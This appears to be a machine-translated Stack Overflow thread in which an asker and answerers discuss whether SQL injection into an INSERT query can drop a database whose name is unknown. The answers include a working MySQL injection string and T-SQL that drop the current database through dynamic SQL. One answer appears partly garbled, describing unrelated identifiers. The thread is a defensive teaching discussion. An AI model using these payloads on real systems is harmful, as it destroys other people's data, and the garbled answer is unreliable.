这个问题突然出现在我的脑海中,在任何地方都找不到这个问题,所以我认为这是个最好的地方。这只是为了教育目的。我使用适当的卫生设施,没有为我的真实数据库提供删除许可。
让我们假设一个具有所有权限的数据库和一个包含三个值的简单插入查询
INSERT INTO test(a,b,c) VALUES('$a','$b','$c');上面的查询容易受到sql注入的影响。
让我们假设用户输入是
由此产生的查询如下:
INSERT INTO test(a,b,c) VALUES('a',(select DATABASE()),'a')-- ','begone2','begone3')上面的查询将执行数据库名并将其插入到表中,但我的问题是攻击者是否能够在不实际知道数据库名称的情况下删除数据库?,使用这样的查询:
INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')我试着运行上面的查询,它会抛出一个错误。这个查询有什么问题?
发布于 2018-08-26 16:35:40
这个查询有什么问题?
INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')这个查询有两个问题。
x的值。如果x的值是字符串值'd',则不会导致外部查询返回标识为table1.d的列的值。它返回一个字符串'd‘。通常,SQL不允许将数据值用作标识符。在解析查询之前,必须在查询中显式地写入数据库名称、表名和列名。要使标识符动态化,您必须运行两个查询,即在创建第二个SQL语句时使用第一个查询的结果。
发布于 2018-08-26 16:13:22
我的问题是,攻击者是否能够在不知道数据库名称的情况下删除数据库?
这个问题的快速答案是“是”,这就是为什么我们应该使用参数而不是串连字符串,并尽量避免动态SQL。
恶意用户可以使用数据库函数获得数据库名,如下所示:
SELECT DB_NAME();下面是一个在不知道她名字的情况下删除数据库的例子:
DECLARE @SQL NVARCHAR(MAX);
SET @SQL = (SELECT N'USE master;
ALTER DATABASE '+ DB_NAME() +' SET OFFLINE WITH ROLLBACK IMMEDIATE;
DROP DATABASE ' + DB_NAME() + ';');
EXECUTE sp_executesql @SQL;发布于 2018-08-26 16:38:23
攻击者是否能够在不知道数据库名称的情况下删除数据库?
是。假设为MySQL,请参见以下PHP代码:
$a = "','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ";
$b = null;
$c = null;
$sql = "INSERT INTO test(a, b, c) VALUES('$a','$b','$c');";
echo $sql;它将创建以下MySQL语句:
INSERT INTO test(a, b, c) VALUES('','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ','','');尝试执行上述SQL将删除当前数据库。
https://stackoverflow.com/questions/52027618
复制相似问题